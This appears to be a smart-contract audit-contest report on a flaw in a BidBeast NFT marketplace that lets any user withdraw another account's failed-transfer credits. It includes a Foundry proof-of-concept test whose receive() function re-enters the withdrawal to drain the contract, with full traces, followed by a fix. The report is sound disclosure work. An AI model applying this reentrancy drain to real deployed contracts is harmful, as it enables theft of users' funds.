Submission Details
Severity:
H-03: Wrong logic in `BidBeast_NFT_ERC721.sol::withdrawAllFailedCredits()` allows reentrancy attack and drain marketplace contract funds
Summary
BidBeast_NFT_ERC721.sol::withdrawAllFailedCredits() uses the amount of _receiver and sets the failedTransferCredits of msg.sender to 0. This allows a user to keep withdrawing another user's credit causing reentrancy attack and to drain the funds in this marketplace contract.
Vulnerability Details
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Impact/Proof of Concept
Add this helper function in BidBeastsNFTMarketPlace.sol to simulate a user having failed credits
// Helper functions //
function addFailedCredits(address user, uint256 amount) external {
failedTransferCredits[user] += amount;
}
Add this to test contract
function test_withdrawAllFailedCreditAllowsUserToDrainFunds() public {
// Simulate funds inside contract
vm.deal(address(market), 5 ether);
vm.assertEq(address(market).balance, 5 ether, "Market balance should be 5 ether");
// Create helper function to simulate BIDDER_1 with failed credits
market.addFailedCredits(BIDDER_1, 1 ether);
uint256 thisBalanceBefore = address(this).balance;
// Before balances
console.log('market before: ', address(market).balance/1e18);
console.log('this before: ', thisBalanceBefore/1e18);
// Assume this contract's role and withdraw BIDDER_1 credits, draining the marketplace contract funds
vm.startPrank(address(this));
market.withdrawAllFailedCredits(BIDDER_1);
vm.stopPrank();
vm.assertEq(address(market).balance, 0, "Market balance should have 0 funds");
vm.assertEq(address(this).balance, thisBalanceBefore + 5 ether, "This should have 5 ether");
// After balances
console.log('market after: ', address(market).balance/1e18);
console.log('this after: ', address(this).balance/1e18);
}
receive() external payable {
// Reentrancy attack
if(address(market).balance/1e18 > 0){
vm.startPrank(address(this));
market.withdrawAllFailedCredits(BIDDER_1);
vm.stopPrank();
}
}
Results
Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] test_withdrawAllFailedCreditAllowsUserToDrainFunds() (gas: 93757)
Logs:
market before: 5
this before: 79228162514
market after: 0
this after: 79228162519
Traces:
[93757] BidBeastsNFTMarketTest::test_withdrawAllFailedCreditAllowsUserToDrainFunds()
├─ [0] VM::deal(BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 5000000000000000000 [5e18])
│ └─ ← [Return]
├─ [0] VM::assertEq(5000000000000000000 [5e18], 5000000000000000000 [5e18], "Market balance should be 5 ether") [staticcall]
│ └─ ← [Return]
├─ [23064] BidBeastsNFTMarket::addFailedCredits(RIPEMD-160: [0x0000000000000000000000000000000000000003], 1000000000000000000 [1e18])
│ └─ ← [Stop]
├─ [0] console::log("market before: ", 5) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("this before: ", 79228162514 [7.922e10]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(BidBeastsNFTMarketTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [51264] BidBeastsNFTMarket::withdrawAllFailedCredits(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ ├─ [41146] BidBeastsNFTMarketTest::receive{value: 1000000000000000000}()
│ │ ├─ [0] VM::startPrank(BidBeastsNFTMarketTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ │ │ └─ ← [Return]
│ │ ├─ [39015] BidBeastsNFTMarket::withdrawAllFailedCredits(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ │ │ ├─ [30997] BidBeastsNFTMarketTest::receive{value: 1000000000000000000}()
│ │ │ │ ├─ [0] VM::startPrank(BidBeastsNFTMarketTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ │ │ │ │ └─ ← [Return]
│ │ │ │ ├─ [28866] BidBeastsNFTMarket::withdrawAllFailedCredits(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ │ │ │ │ ├─ [20848] BidBeastsNFTMarketTest::receive{value: 1000000000000000000}()
│ │ │ │ │ │ ├─ [0] VM::startPrank(BidBeastsNFTMarketTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ │ │ │ │ │ │ └─ ← [Return]
│ │ │ │ │ │ ├─ [18717] BidBeastsNFTMarket::withdrawAllFailedCredits(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ │ │ │ │ │ │ ├─ [10699] BidBeastsNFTMarketTest::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ ├─ [0] VM::startPrank(BidBeastsNFTMarketTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ │ │ │ │ │ │ │ │ └─ ← [Return]
│ │ │ │ │ │ │ │ ├─ [8568] BidBeastsNFTMarket::withdrawAllFailedCredits(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ │ │ │ │ │ │ │ │ ├─ [550] BidBeastsNFTMarketTest::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ ├─ [0] VM::stopPrank()
│ │ │ │ │ │ │ │ │ └─ ← [Return]
│ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ ├─ [0] VM::stopPrank()
│ │ │ │ │ │ │ └─ ← [Return]
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ ├─ [0] VM::stopPrank()
│ │ │ │ │ └─ ← [Return]
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] VM::stopPrank()
│ │ │ └─ ← [Return]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0, "Market balance should have 0 funds") [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(79228162519264337593543950335 [7.922e28], 79228162519264337593543950335 [7.922e28], "This should have 5 ether") [staticcall]
│ └─ ← [Return]
├─ [0] console::log("market after: ", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("this after: ", 79228162519 [7.922e10]) [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.01ms (407.10µs CPU time)
Ran 1 test suite in 4.90ms (1.01ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommendations
Change the function to only allow a user to withdraw their own funds.
- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates
Lead Judging Commences
cryptoghost 2 months ago
Submission Judgement Published Assigned finding tags:
BidBeast Marketplace: Unrestricted FailedCredits Withdrawal
withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.
Rewards breakdown
nSLOC
170This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.